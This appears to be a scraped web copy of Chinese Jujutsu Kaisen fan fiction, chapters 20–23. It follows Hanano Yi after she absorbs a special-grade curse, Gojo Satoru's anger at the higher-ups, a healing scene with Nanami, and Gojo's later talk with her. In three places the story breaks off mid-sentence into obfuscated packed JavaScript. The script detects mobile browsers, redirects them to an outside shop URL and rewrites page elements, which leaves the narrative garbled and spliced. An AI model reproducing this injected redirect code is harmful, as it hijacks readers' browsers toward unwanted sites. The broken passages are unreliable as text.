它跳出她的怀抱,落在地上,然后变大。 那个小小的、圆滚滚的咒灵,体型开始疯狂膨胀,眨眼间就变得巨大无比。 巨大到遮住了月光,笼罩了整个视野。 它张开那张可以吞下一切的巨口,对准了那个还在和寄生花朵搏斗的特级咒灵 一口吞下 那个特级咒灵连同它体内体外的所有花朵,全部被吞进了噗噗的巨口里。 花野依看见噗噗的身体在吞下那个怪物之后,开始剧烈地颤动。 特级咒灵在它体内分解,像是在被消化,被吸收,被转化成咒力 噗噗的咒力在以恐怖的速度增长 咒力越来越盛,最后猛地收缩,一切归于平静。 噗噗变回了普通的大小,落在地上,转过头来看着她。 那双黑豆一样的眼睛里,带着天真,带着担忧,带着想要确认她是否安好的急切。 花野依站在那里,看着噗噗,感受着自己体内的变化。 咒力在增长。 是在原本的极限之上,继续向上攀升,继续向外扩张。 那股新生的咒力从噗噗那边涌来,顺着那道链接,流进她的体内,和她的咒力融为一体,成为她的一部分。 在吸收那个特级咒灵之后,她和噗噗的咒力量增加了。 花野依低头看着自己的双手,看着那双手上已经愈合的伤口 那些新生的皮肤,体内那股前所未有的充盈感。 她想起那个问题 咒术师究竟是为了什么,要为了保护那些猴子而拼上性命? 现在,她依然没有答案。 20. 第二十章 报告 [雾谷村特级咒灵事件] 特级咒灵代号“山神”,经「窗」调查原属于二级咒灵,后经花野依、伏黑惠、钉崎野蔷薇三人证实进化为特级咒灵“山神”,全村213人全部死亡,由花野依单人祓除。 经总监部判断,花野依具有一级咒术师实力,特此升级为一级咒术师。 最先拿到这份报告的人,是五条悟 距花野依他们结束任务已经过去了两天,此刻他正结束海外的任务,坐在返回高专的车上。 下午五点半,夕阳的余晖已经沉到地平线以下,路灯一盏接一盏地亮起来。 昏黄的光线透过车窗一闪一闪地照进来,落在他那张看不清表情的脸上。 那副常年戴着的黑色眼罩此刻被推到了脖子上,露出一双璀璨得不像话的眼睛,那双眼睛正垂着,盯着手里的文件。 他翘着二郎腿,大大咧咧地靠在真皮后座上,姿态随意得像是在自家客厅里。 身旁的座位上还放着一个刚买的甜品袋,粉色的缎带扎成蝴蝶结,透着一股“我很贵”的气息。 “欸——!居然能一个人祓除特级咒灵欸!” 他的语气轻快上扬,带着一丝夸张的惊喜,嘴角甚至弯起一个愉悦的弧度: “不愧是我的学生!” 他说着,摸了摸下巴,那双眼睛微微眯起,像是在思考什么,片刻后,他又开口,语气依然是那副漫不经心的调子: “嗯……特级啊……” 他顿了顿,忽然出声: “伊地知——” 前面正在开车的伊地知肩膀微微一僵。 他透过后视镜看向后座的那个男人,看见那张脸上挂着的那副“轻松”的表情,心里顿时警铃大作。 跟了五条悟这么多年,他太了解这个表情了,那根本不是轻松!。 绝对生气了! 伊地知的额头开始渗出汗水,手指下意识地攥紧了方向盘。 没等他回答,五条悟又开口了,像是在自言自语,又像是宣告什么: “让我的学生冒着生命危险去祓除特级咒灵……” 他的语气依然平静,但那份平静下面,怒意正在涌动。 “干脆把高层全员都杀了吧。” 伊地知的心脏猛地一缩 “欸——?!” 他的声音都劈叉了,方向盘差点打滑,他透过后视镜看向五条悟,试图从那张脸上找出一丝“我在开玩笑”的痕迹,但什么都没有。 那张脸上还是那副“轻松”的表情,但那双眼睛里,没有一丝笑意。 “是我太久没有杀人,让他们真以为我是什么很好说话的人吗?” 五条悟的语气里带上了一丝怒气,那股压迫感让伊地知的后背瞬间被冷汗浸透。 “一个两个的,都来试探我的学生,上次是虎杖,这次是花野依……” 他顿了顿,手指轻轻敲了敲手里的文件,那双眼睛垂下去,像是在看那些文字。 “一个一个找太麻烦了,” 他抬起头,那双眼睛里闪过一道冷光,“所以干脆全部都杀了吧。” 他压低了眉眼,那目光里带着的,是货真价实的杀意。 “伊地知,去总监部。” 伊地知的心脏狂跳起来 他能感觉到,那股杀意是真的,五条悟不是在开玩笑,不是在吓唬人。 他是真的打算现在就去总监部,真的打算把那些老家伙一个一个地—— 冷静! 冷静下来! 伊地知疯狂地转动大脑,试图想出任何能阻止五条悟的办法,他太了解这个人了,一旦他真的决定做什么,没有人能拦得住! 他的目光无意间扫过后视镜,瞥见了那个放在五条悟身旁的甜品袋。 对了! “五条先生!” 他脱口而出,声音里带着一丝劫后余生的急切 “花野同学应该还在等着您的甜品!不如……不如先去给花野同学送了甜品再说吧!” 车厢里的空气凝滞了一瞬 五条悟原本带着怒气和杀意的脸色,在听见“花野同学”这四个字的瞬间,像是被轻轻拨动。 眼睛里冷意褪去,取而代之的是一种近乎幼稚的、发自内心的高兴神色。 “是哦!” 他的语气瞬间愉悦起来,连尾音都飘起来了 “说起来学生都这——么努力了!身为高专GTG的我,肯定要给学生表扬的!” 他坐直了身子,把那份报告随手往旁边一放,拿起那个甜品袋,翻来覆去地看了一遍,像是在确认它有没有被弄坏。 “那就先去高专吧!” 他的嘴角弯起一个大大的弧度。 然后,他的思绪开始飘了。 伊地知从后视镜里看见,那个刚刚还带着杀意说要杀光高层的五条,此刻正靠在椅背上,脸上挂着一种……傻笑? 五条悟正在脑补 他想象着自己走进高专,把甜品袋递给花野依,那个瘦小的、总是用怯生生的、亮晶晶的眼睛看着他的学生,会是什么反应? 大概会先愣一下,然后小心翼翼地接过袋子,打开一看,发现是双倍红豆的大福。 她上次在温泉旅馆说想吃的那种,那双眼睛会瞬间亮起来,像是藏了星星在里面。 她会抬起头看他,脸颊微微泛红,用那种轻轻的、软软的声音说: “谢谢五条老师……我最喜欢五条老师了……” 旁边伏黑惠和钉崎野蔷薇会凑过来,看见花野依手里的大福,会嚷嚷着“我们也想要”“五条老师偏心” 伏黑惠那个臭小子明明心里想要,嘴上肯定还要说“我才不稀罕”,但那眼神,那眼神肯定藏不住。 钉崎野蔷薇会更直接一点,可能会跳起来试图抢袋子,或者用那种半真半假的抱怨语气说“五条老师就知道疼小依” 而他会大度地摆摆手,说“想要就撒个娇嘛,撒个娇说不定就有了” 伏黑惠会恼羞成怒地说“谁要撒娇”,钉崎野蔷薇则会真的冲他撒娇,然后他就—— “嘿嘿……嘿嘿嘿……” 伊地知从后视镜里看着后座那个发出诡异笑声的男人,默默地收回视线,在心里长长地出了一口气。 靠你了,花野同学 靠你了! ———— 高专医务室里,此刻正是一片难得的温馨气氛。 伏黑惠和钉崎野蔷薇刚被家入硝子检查完身体状况,此刻正坐在一旁等着结果。 花野依则站在另一张病床边,双手悬在半空,掌心泛着淡淡的、温暖的光芒。 那是反转术式在运转的痕迹。 床上躺着的是七海建人 这位一向严肃认真的一级咒术师,此刻正微微皱着眉,不是因为疼痛,是因为不习惯被这样“照顾”。 他在一次任务中被咒灵击伤了腹部,伤势不算太重,但因为位置特殊,需要精细的治疗,家入硝子原本打算亲自处理,但花野依主动站了出来。 “我想练习一下用反转术式治疗他人,”她说,声音轻轻的,但很坚定 “治疗自己和治疗别人不一样,操作精细得多,如果能让七海先生当我的……练习对象,我会很感激。” 家入硝子看了她一眼,没有多说什么,只是点了点头。 于是花野依就开始治疗七海建人 那些光芒从她掌心溢出,一丝一丝地渗入七海的伤口,促进那些撕裂的肌肉重新生长,那些破损的血管重新愈合。 她全神贯注地盯着那个伤口,额角渗出细密的汗珠,脸色因为咒力消耗而微微发白。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471643|201513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药物基本都代谢完了,” 家入硝子放下手里的检查仪器,脱下一次性医用手套,语气平淡地说 “没什么问题的话,就可以走了。” 话音刚落,钉崎野蔷薇就从椅子上蹦了起来 她三步并作两步跑到花野依身边,双手从后面圈住花野依的肩膀,下巴毫不客气地搁在花野依的脸颊旁边,整个人几乎挂在花野依身上: “小依——!这不是很能干嘛!” 花野依被这突如其来的亲密动作弄得脸色微红,手里稳定输出的反转术式微微波动了一下,又迅速被她稳住。 她有些不适应这样亲密的接触,很少有人会这样毫无顾忌地靠近她,这样毫无保留地表达亲近。 但因为是野蔷薇,所以没关系 “还……还有很多要学呢……”她小声说,声音里带着羞涩,却没有躲开。 钉崎野蔷薇一听这话就不乐意了,双手摇晃着花野依的肩膀,语气夸张地反驳: “这可是反转术式!反!转!术!士! 多少人学一辈子都学不会的东西,你这才入学多久啊就学会了,还‘还有很多要学’ 你这让那些老家伙们怎么活啊!” “钉崎,” 伏黑惠的声音从旁边传来,带着一丝无奈 “你先松开花野同学,她正在给七海先生治疗,你这样会影响她。” 钉崎野蔷薇这才反应过来,连忙松开手,对着床上的七海建人双手合十: “啊!不好意思啊七海先生,耽误你治疗了!您继续!继续!” “没关系,钉崎同学。” 七海建人开口,声音一如既往地沉稳。 他低头看了看自己的腹部,那道原本狰狞的伤口此刻已经基本愈合,只剩下淡淡的粉色痕迹。 他坐起身,整理好自己的衬衫,然后转向花野依,认真地开口: “花野同学,谢谢你。” 花野依愣了一下,然后连连摆手: “不、不用谢!我这边还要感谢七海先生能让我治疗!毕竟我的反转术式还不太熟练。 如果是家入医生来的话,应该很快就能治好,七海先生也不用忍痛这么久……” 她说着,脸更红了,声音也越来越小 七海建人看着她,看着那张苍白的、因为咒力消耗而略显疲惫的脸,和那双认真又羞怯的眼睛,忍不住轻轻叹了口气。 真是个好孩子。 这个念头刚浮现在脑海里,家入硝子的声音就从旁边飘了过来: “七海,你刚刚是这么想的对吧?” 七海建人的表情微微一僵 花野依的脸则瞬间爆红,红得几乎能滴出血来。 她张了张嘴,想要说点什么来辩解,却发现自己的舌头像是打了结,一个字都说不出来: “我……我……那个……不是……” “噗——!” 钉崎野蔷薇看着花野依那副结结巴巴的样子,终于忍不住笑出了声。 那笑声像是会传染一样,让一旁的伏黑惠也微微弯起了嘴角,让家入硝子的脸上也浮现出一丝淡淡的笑意。 医务室里的气氛,难得地轻松愉悦起来。 就连一向严肃的七海建人,看着花野依那副窘迫的模样,嘴角也微微上扬了一点,他开口,语气里带着一丝难得的调侃: “是啊,一点都不像那个人会教出来的……” “砰——!” 医务室的门被暴力地推开了 声音大得惊人,把房间里所有人都吓了一跳。 他们看见门口站着的那个人,同时生出一种“果然是他”的无奈感。 五条悟站在门口,手里高举着一个粉色的甜品袋,脸上挂着灿烂得有些刺眼的笑容: “嘿嘿!我来表扬我的好学生了!” 21. 第二十一章 五条悟迈着那种招摇的、仿佛走红毯一样的步伐,目标明确地走向站在病床边、明显还没反应过来发生了什么的花野依。 眼睛透过那双不知道什么时候带上的墨镜,盯着她,嘴角的弧度越来越大。 走到她面前,他把甜品袋往她手里一塞: “给!这是好学生的奖励!” 花野依下意识地接过袋子,低头看了一眼,又抬头看向他,有些茫然地道谢: “谢……谢谢五条老师。” 钉崎野蔷薇立刻凑了过来,脑袋几乎要钻进袋子里去。 她看了一眼里面的东西,立刻抬起头,用那种“我就知道”的眼神看向五条悟: “双倍红豆大福!这根本就是你自己想吃吧!” “怎么会!”五条悟立刻反驳,语气夸张得像是受了天大的冤枉 “这可是我特意给小依挑的!上次在温泉旅馆,她说想吃大福,我可是记着呢! 这是单!独!给!她!的!奖!励!” 他说着,看向伏黑惠和钉崎野蔷薇,语气里带着一丝促狭: “你们俩想要的话,撒个娇说不定也会有哦。” 伏黑惠的额角冒出青筋:“谁要撒娇!” “哎呀,惠害羞了——” “我没有!” “有,你明明想要,但不好意思——” “五条老师,” 伏黑惠的声音冷了下来,带着一丝警告的意味 “你再多说一句,我就把上次你偷偷把任务报告塞给我自己跑掉的事告诉夜蛾校长。” 五条悟的表情僵了一瞬 正当他要开口反驳时,一只手伸到了伏黑惠面前。 是花野依 她手里拿着一个大福,递到伏黑惠面前,脸上带着那种浅浅的、温暖的笑容: “伏黑同学,给你。” 伏黑惠愣了一下 没等他反应过来,花野依又转向五条悟,把另一个大福递给他: “五条老师也吃。” 五条悟低头看着那个递到自己面前的大福,又抬头看向花野依。 她的脸还有点红,因为刚刚的窘迫还没有完全褪去,但那双眼睛亮晶晶的,里面盛着的是一种毫不掩饰的、发自内心的喜悦。 她微微仰着头看着他,嘴角弯着一个小小的弧度,声音轻轻的,却带着一种让人无法拒绝的真诚: “我很喜欢五条老师送的大福,谢谢老师的奖励!” 五条悟看着她 看着那双亮晶晶的眼睛,那张脸因为害羞而微微泛红。 看着那个小小的、真诚的、毫无保留的笑容。 他忽然觉得,心脏的某个地方被轻轻撞了一下。 像是一种软软的、柔柔的、像是被棉花糖轻轻蹭过的感觉,那感觉很陌生。 他一时间有些反应不过来,只是愣愣地站在那里,看着面前的学生。 然后,他的手抬了起来 落在了花野依的头上。 他伸出手,用力地、使劲地、毫不客气地揉搓起她的头发来。 那些柔软的黑发在他的掌心里被揉得乱七八糟,一缕一缕地翘起来,像是刚被暴风雨摧残过的小草。 “好孩子,” 他一边揉一边说,声音里带着一种奇怪的、像是被什么东西堵住的调子 “好孩子好孩子好孩子——!” 花野依被揉得脑袋一晃一晃的,眼睛都眯起来了,她没有躲开,只是站在那里,任由他揉,嘴角还带着那个小小的笑容。 钉崎野蔷薇在旁边看着,忍不住小声嘟囔: “五条老师这是……感动了?” 伏黑惠看了她一眼,没说话,只是嘴角微微弯起一点弧度。 家入硝子靠在墙边,叼着一根没点的烟,看着这一幕,眼底闪过一丝淡淡的笑意。 七海建人整理好自己的外套,准备离开,走到门口时,他回头看了一眼那个还在揉花野依脑袋的五条悟。 又看了一眼那个被揉得东倒西歪却还在笑的花野依,轻轻摇了摇头,嘴角却忍不住微微上扬。 “真是的,” 他低声说,声音里带着一丝无奈,也带着一丝笑意 “一点都不像那个人会教出来的学生……但好像,也只有那个人能教出这样的学生。” 他推开门,走了出去,手里拿着花野依分给她的大福。 医务室里,五条悟终于停下了揉头的动作。 他看着花野依被揉得乱七八糟的头发,看着那双亮晶晶的、毫不掩饰地盛着对他的喜欢的眼睛,忽然吸了吸鼻子。 “五条老师?” 花野依有些担心地看着他,“您怎么了?” 五条悟假装摸了一把眼泪,做出一副夸张的样子,感叹道 “没什么,就是……有点感动。” “欸?” “真的!” 他抬起头,双手碰着心,那双眼睛透过墨镜看着她 “我快要哭出来了。” 钉崎野蔷薇“噗”地笑出声,伏黑惠别过头去,肩膀微微抖动,花野依愣了一下,也笑了 双倍红豆大福对于一般人来说终究还是太过甜腻了些,了。 那浓稠的红豆馅裹着厚厚的糖浆,咬一口仿佛连牙齿都要被甜得发软。 钉崎野蔷薇尝了一个之后就皱着眉头猛灌水,伏黑惠礼貌性地咬了一小口便默默放下了,家入医生更是婉拒道“年纪大了,吃不了太甜的”。 最后那一整袋大福,连同花野依分出去又剩下的那些,全都进了五条悟的肚子里。 他倒是来者不拒,一边吃一边还嘟囔着“早知道就买三倍糖的了”,惹得钉崎野蔷薇翻了个白眼。 花野依喝完最后一口水,正准备和朋友们一起离开医务室,却被五条悟叫住了。 “小依,等一下。” 他的声音从身后传来,难得地带了几分正经,“跟老师来一下,单独聊两句。” 花野依愣了一下,转过头看向他。 那双被墨镜遮住的眼睛看不出情绪,但她想,大概是要问这次任务的事吧,于是她点了点头,轻声应道 “好的。” 话音刚落,五条悟就从椅子上站了起来,三两步走到她面前,非常自然地伸出手,握住了她的手腕。 动作太过行云流水,快到花野依还没反应过来,就已经被他拉着往门口走了。 她只来得及听见五条悟回头冲着钉崎他们挥了挥手,语气里带着那种标志性的、欠揍的愉悦 “花野同学我就带走了哟!你们不要寂寞哟!” “谁要寂寞啊——!” 钉崎野蔷薇的抱怨声从身后追来,但很快就被关上的门隔断了。 花野依被五条悟拉着走在走廊里,低头看了看自己被握住的手腕。 那只手圈在她腕间,力道轻得仿佛只是虚虚搭着,好像她轻轻一抽就能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“知道了。”她说,声音很轻,很平静 她继续往前走,走在他身侧稍后一点的位置,没有再去追问。 她知道 知道他心情不好 也知道他不会说 花野依跟在他身后,目光落在他宽阔的背脊上,却没有聚焦。 她的思绪开始飘远,飘向另一个地方 老师在不开心 是因为上次的任务吗? 是因为她差点死掉吗? 她想着,如果五条老师问她那次任务的情况,她一定会非常详细地告诉他每一个细节,每一处危险,每一个她差点撑不过去的瞬间。 她不会隐瞒,不会修饰,会原原本本地全部说出来。 但他没有问 从她醒来,到现在,他一个字都没有问 是不需要问吗? 还是……不想问? 花野依垂下眼睫,目光落在自己垂在身侧的手上。 那只手不知什么时候握紧了,指甲掐进掌心,留下几道浅浅的白痕。 不甘心 那种熟悉的、让人喘不过气来的无力感,又慢慢涌了上来 她太弱了 弱到需要老师来照顾她的情绪,让老师担心。 弱到只能成为被保护的那一个,而不是可以并肩站在一起的同伴。 还要更强 必须变得更强 不能总是这样 她握紧的手,慢慢地、一点一点地松开,掌心留下几道浅浅的红痕。 她没有在意,只是深吸一口气,把那些情绪压下去,继续跟在五条悟身后,一步一步走向他的办公室。 22. 第二十二章 五条悟的办公室,花野依还是第一次来 门被推开的一瞬间,她最先注意到的不是那些堆满文件的办公桌,而是—— 那张黑色的皮质办公椅。 它摆在办公桌后面,宽大,厚重,皮面泛着柔和的哑光,一看就价值不菲。 五条悟走过去,非常随意地指了指那张椅子: “坐。” 花野依愣了一下:“坐……那里?” “对啊,不然坐哪儿?”五条悟挑了挑眉,“放心,不会咬你的!” 花野依犹豫了一下,还是走过去,小心翼翼地在那张椅子上坐了下来。 她的身体陷进去了 皮质的触感细腻而温润,靠背的角度完美贴合脊椎,扶手的弧度刚好能让手臂自然垂落。 好舒服! 花野依一开始还坐得拘谨,背挺得笔直,双手规矩地放在膝盖上。 但没过几秒,那股舒服的感觉就开始侵蚀她的警惕心,让她不自觉地放松下来。 往后靠了靠,再靠了靠,最后整个人陷进那张椅子里,像一只蜷缩在窝里的猫。 难怪五条老师每次都坐这张椅子。 太舒服了! 五条悟走到办公桌旁边的冰柜前,随手拉开柜门,露出里面码得整整齐齐的饮料罐。 他头也不回地问:“可乐还是果汁?” 花野依从椅子的包裹感中回过神来,愣了一下才反应过来是在问自己: “欸?……果、果汁吧。” 话音刚落,一罐果汁就朝她飞了过来,她慌忙伸手接住,捧在手里,感受着罐身上冰凉的触感。 五条悟自己也拿了一罐可乐,单手扣开拉环,发出“噗”的一声轻响。 五条悟把可乐罐放在办公桌上,转过身来,没有立刻说话,而是歪着头打量了她一会儿。 那目光透过墨镜的镜片落在她身上,从上到下,又从下到上,最后定格在她的脸上。 花野依被他看得有些不自在,下意识地缩了缩脖子,手指握紧了手里的果汁罐。 “小依……” 五条悟忽然开口,语气比刚才正经了几分 “你是不是瘦了?” 花野依愣了一下。 她下意识地低头看了看自己,校服确实比之前宽松了些,腰间的布料微微褶皱。 但她每天照镜子,每天看着自己,根本察觉不到那些细微的变化。 “没、没有吧……”她小声说,声音里带着一丝不确定。 “有哦!” 五条悟走过来,在她面前蹲下 “你看看” 他另一只手不知道从哪里变出一面小镜子,举到她面前 “脸都凹下去了。” 花野依看着镜子里自己那张脸,确实比之前清瘦了些,颧骨的轮廓比以前明显,下巴也尖了。 但她不知道该怎么解释。 总不能说是因为最近每天做噩梦,梦见那只断手,梦见那些村民,梦见噗噗被关在笼子里,所以吃不下饭吧? “可能是……最近胃口不太好。” 她低下头,避开镜子里的自己,声音轻轻的 “夏天到了,有点苦夏。” 五条悟没有说话 花野依能感觉到他的目光还停留在自己身上,带着一种她说不清的重量。 她不敢抬头,只能盯着自己手里的果汁罐,盯着罐身上凝结的水珠一滴一滴往下滑。 过了几秒,那只捏她脸颊的手收了回去,转而落在她头顶,轻轻揉了揉。 “苦夏啊——” 五条悟拉长了语调,语气又恢复了那种轻快的调子 “那老师下次给你带点开胃的,梅子啊,酸梅汤啊,保证让你胃口大开。” 花野依抬起头,对上他的脸,那张脸上挂着惯常的笑容,但那双被墨镜遮住的眼睛里,看不出情绪。 “谢谢老师……”她小声说。 五条悟一只手随便抓了一把椅子,拖到花野依面前,然后把椅子转了半圈,椅背朝向她,跨坐了上去。 他双手撑在椅背上,下巴搁在手背上,隔着墨镜看向对面那个舒舒服服缩在办公椅里、小口小口喝着果汁的学生。 那双眼睛透过墨镜的镜片,在她身上停留了几秒,然后,他冷不丁地开口: “你的咒力是怎么回事?” “噗——咳咳咳咳——!” 花野依被那口还没咽下去的果汁呛了个正着,她弯下腰剧烈地咳嗽起来,脸涨得通红,眼泪都快呛出来了。 五条悟从口袋里掏出一块手帕,递给她。 花野依接过来捂住嘴,继续咳了好一会儿才缓过劲来,她抬起头,眼睛还带着水光,声音沙哑地问: “什、什么怎么回事……” “嗯——” 五条悟换了个更直白的说法 “我是问你的咒力总量,为什么在持续增加?” 他说着,抬手摘下了墨镜,露出那双璀璨得不像话的眼睛。 那双眼定定地看着她,目光穿透她的身体,像是能看见她体内每一丝咒力的流动。 “从刚才看见你,就觉得不对劲,” 五条悟语气里带着一丝认真 “你的咒力总量比起上一次见到你,增加了三成左右,而且……” 他顿了顿,那双眼睛微微眯起:“虽然很微弱,但还在继续增加。” 看着她,语气又恢复了那种轻快的调子:“说说吧,怎么回事?” 花野依愣愣地看着他,一时有些反应不过来 老师居然能看出来? 居然一眼就看出来了? 但很快,她就反应过来了——是六眼。 那双能看穿一切术式、探知一切咒力的眼睛,当然也能看见她体内那些细微的变化。 她低下头,用五条悟的手帕擦了擦嘴角残留的果汁,一边擦一边组织语言: “是因为……之前那个特级咒灵。” “嗯哼?” “噗噗把它……吞了。” 花野依的声音轻轻的,像是在回忆 “在和它战斗的时候,我用术式把它削弱了,然后噗噗就把它吞下去了 吞下去之后,噗噗就开始消化它,把它的咒力转化成……转化成我们自己的咒力。” 她抬起头,看向五条悟: “消化和转化都需要时间。 现在噗噗还在消化那个特级咒灵,所以我的咒力才会一直……一直增加。 我也不太清楚具体是怎么回事,但好像确实是这个原因。” 五条悟听完,没有立刻说话 他一只手撑着下巴,另一只手拿着可乐罐,若有所思地看着她。 “欸——!” 他拉长了语调,然后问,“应该不是能够无限吸收转化的吧?” 花野依点了点头:“确实有上限的感觉,但我只吸收过一个特级咒灵,不知道具体上限在哪里。” 五条悟抬起空着的那只手,用指腹摩挲着下巴,那双眼睛依然定定地看着她。 花野依被他看得有些不自在,那目光太锐利了,锐利得像是能把她从里到外看个通透,让她坐立不安,让她忍不住想要缩起来。 “按照之前吸收的那个咒灵来看,” 五条悟忽然开口,“大概是四个特级咒灵的量吧。” 花野依愣了一下,然后眼睛亮了起来:“哇!老师你好厉害!” 五条悟的嘴角微微上扬,那点被夸赞的开心毫不掩饰地写在脸上:“嘿嘿。” 但那点开心只是一闪而过,他的表情又认真起来: “不过这只是目前的上限,不代表你以后的上限。” 他看着花野依,语气比之前更加严肃,那双眼睛里倒映着她的影子: “你以后说不定可以拥有无限的咒力,甚至能够——” 他顿了顿,嘴角弯起一个弧度,“与我比肩。” 花野依的眼睛瞪大了 与老师比肩? 和最强的五条悟? “哇……!”她轻声感叹,眼睛亮晶晶的,“真的吗?” “真的哟~” 五条悟的语气又恢复了那种轻快的调子,但那双眼睛里的认真,花野依看见了。 她忍不住笑了起来,那笑容从嘴角蔓延到眼底,让整张脸都亮了起来。 五条悟看着那个笑容,也笑了笑,然后重新戴上墨镜,遮住了那双璀璨的眼睛。 “但是呢,” 他开口,语气又变得随意起来 “目前看来,这件事还是不要告诉其他人比较好。” 花野依愣了一下,笑容收敛了几分:“为什么?” 五条悟靠在椅背上,仰头喝了一口可乐,然后看向窗外。 夕阳已经彻底沉下去了,窗外的天空是一片深沉的靛蓝色,有几颗星星已经开始隐隐闪烁。 “因为上面那些烂橘子,” 他语气轻描淡写,带着些烦躁 “可见不得第二个五条悟的可能性。” 花野依沉默了 她听懂了他的意思 咒术界的高层,那些被称为“烂橘子”的老家伙们不会希望再出现一个像五条悟这样强大到无法控制的存在。 一个五条悟已经让他们头疼了,如果再来一个…… 她想起那些猴子 想起那些笑着给她送饭、转身把她送上祭坛的人。 想起那个把噗噗关在笼子里献祭给咒灵的老人。 想起那个送她画的小女孩。 高层和那些猴子,有什么本质的区别吗? 也许没有…… 猴子本就是一样的 “我知道了。” 她轻声说,低下头,看着手里那罐已经喝了一半的果汁。 办公室里安静下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只是因为……这是让同伴存活概率最大的那个选项,这是她能做的、唯一正确的事。 老师让她不要一个人拼命 可她的拼命,是她唯一能拿得出来的东西。 她没有五条老师那样的天赋,没有伏黑那样的家传术式,没有野蔷薇那样与生俱来的攻击力。 她只有「幻花镜」,只有噗噗,只有那些在一次次濒死中硬生生挤出来的、本来不属于她的力量。 如果有一天,需要再用一次命去换更强的力量,去换同伴活下去的机会—— 她会换的 对不起,老师 她低下头,让刘海遮住眼睛,遮住那些不该被看见的情绪。 她不知道老师的劝诫是因为担心她,还是因为觉得她太弱了所以需要被保护。 她只知道,无论那是哪一种,她都做不到,她做不到看着同伴去死,自己缩在后面等老师回来。 她做不到明明有机会冲出去,却因为害怕而留在原地。 她做不到……做一个听话的、让老师放心的,但是需要被担心的学生。 所以对不起…… 她在心里又说了一遍,这一次更轻,轻得像是在对自己说。 然后她抬起头,脸上已经换上了那副乖乖的表情,眼睛弯弯地看着五条悟,轻声说: “那老师要早点回来。” 五条悟看着她,看着那张认真的、信赖的、带着一点点期待的脸。 “当然!” 他说,语气里带着那种惯常的自信 “老师可是最强的!” 花野依点点头,没有再说别的。 五条悟冲她笑了笑。 “好了!” 他站起来,把空了的可乐罐扔进垃圾桶,走到她面前,伸手又揉了揉她的头: “走吧,送你回宿舍,再不回去,钉崎那丫头该冲过来要人了。” 花野依抱着那罐还没喝完的果汁,从那张舒服得让人不想起来的椅子上站起来,跟着他往门口走去。 走到门口时,她忽然停下脚步,回头看了一眼那张黑色的办公椅。 “五条老师。” “嗯?” “下次我还能坐这张椅子吗?” 五条悟愣了一下,然后笑了起来,那笑声在空荡的走廊里回荡,带着一种难得的、发自内心的愉悦。 “随时欢迎!” 她跟着他走出办公室,走过那条长长的走廊,走过那些亮着灯的窗,走过那些在夜色中安静矗立的建筑。 一路上她都没有说话,只是安静地走在他身侧稍后一点的位置。 23. 第 二十三章 送花野依回到宿舍之后,五条悟却没有像往常那样直接回去休息。 他一步一步走向校门口,夜风从他身边掠过带着夏末特有的潮湿气息,吹动他的发丝和衣角,但他没有理会,只是拿出手机,拨出了一个号码。 电话响了两声就被接起来了,那头传来伊地知有些慌乱的声音:“五、五条先生?这么晚了有什么事吗?” “上次雾谷村的任务定位,”五条悟的声音很平静,“发给我,三分钟。” “欸?现、现在吗?可是那个任务已经——” “三分钟。” 电话那端沉默了一秒,然后是噼里啪啦的键盘敲击声,夹杂着伊地知慌乱的嘟囔 “定位定位定位在哪里……啊找到了找到了……稍等一下马上就好……”。 两分四十七秒后,五条悟的手机震动了一下,一条带着坐标的信息弹了出来。 下一秒,他的身影消失在了校门口 雾谷村的上空,夜色浓得化不开,没有月亮,没有星光,只有一片深沉的、仿佛能把一切吞噬的黑暗。 五条悟静静地立在那片黑暗中,像一尊悬浮在半空的雕塑,低头俯视着脚下的村庄。 那双璀璨的眼睛此刻完全暴露在夜空下,没有墨镜的遮挡,就那么直直地看向下方。 那双能看穿一切的六眼,细致地观察着雾谷村的每一寸土地。 这次死亡的人数太多了,全村上下两百余口,无一幸免。 为了不引起不必要的恐慌,咒术界高层联合当地政府封锁了进出村子的所有路口,对外宣称是“山体滑坡导致道路中断,正在抢修中”。 此刻的雾谷村,没有一个活人,没有一丝灯火,只有那些空荡荡的房屋和寂静的街道,在黑暗中无声地诉说着什么。 倒也方便了五条悟的观察。 没有其他人的干扰,花野依的咒力残留就显得格外清晰。 在六眼的视野里,那些残留的咒力像一条银色的丝线,从半山腰一个隐蔽的洞口蔓延出来,一直延伸到森林深处,断断续续,却又清晰可见。 他闪身落到那个洞口前。 位置确实隐蔽,周围密密麻麻地长着许多粗壮的树木,树干上残留着新鲜的断痕,有的被拦腰折断,有的被连根拔起。 从那些断口的分布密度来看,这里原本应该是一片密不透风的天然屏障,如果不是刻意寻找,根本不会注意到这里还有个洞口。 五条悟迈步走了进去。 尽管已经过去了这么多天,那股浓烈的血腥气依然扑面而来,几乎不需要六眼的感知就能知道当时这里的惨烈。 他的目光从洞内扫过,四处散落的肢体,已经发黑发臭,只剩下残缺的骨骸。 破裂的岩壁和地板,裂缝从中心向四周蔓延,像是被什么东西从内部炸开。 墙上、地上、甚至是头顶的岩壁上,到处都溅着已经干涸发黑的血渍,层层叠叠,触目惊心。 五条悟面无表情。 他站在那里,看着这一切,脸上没有任何表情。 但他知道,自己此刻的心情很差。 非常差! 六眼在无声地运转,收集着洞内的一切信息,咒力残留的浓度,血迹喷溅的角度,肢体散落的方位,岩壁破裂的程度…… 那些信息在他脑海里飞速整合,还原出当时的场景:咒灵从这里出现,村民从这里逃跑,有人在那个方向战斗,有人在那个方向倒下,有人—— 五条悟闭了闭眼,转身走出了山洞。 他顺着那条延出洞外的咒力残留,一步一步走进森林深处。 